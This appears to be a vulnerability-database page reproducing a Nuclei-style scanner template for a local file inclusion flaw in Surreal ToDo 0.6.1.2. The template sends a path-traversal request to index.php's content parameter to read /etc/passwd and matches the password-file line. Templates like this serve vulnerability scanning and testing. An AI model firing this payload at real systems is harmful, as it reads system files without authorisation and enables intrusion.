surrealtodo-lfi: Surreal ToDo 0.6.1.2 - Local File Inclusion

2025-08-01 Surreal ToDo PoC Public

Description

Surreal ToDo 0.6.1.2 is vulnerable to local file inclusion via index.php and the content parameter.

PoC

id: surrealtodo-lfi

info:
  name: Surreal ToDo 0.6.1.2 - Local File Inclusion
  author: arafatansari
  severity: high
  description: |
    Surreal ToDo 0.6.1.2 is vulnerable to local file inclusion via index.php and the content parameter.
  reference:
    - https://www.exploit-db.com/exploits/45826
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 1
  tags: surreal,lfi,edb,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?content=../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022069a48f0b8e97f2517e9918372cbe81d87686127528dea87e15ee922995dea5b6022100ab9c306f5068d0093390f6e204cd9913672449a11cd5773871da56989c9ffef8:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities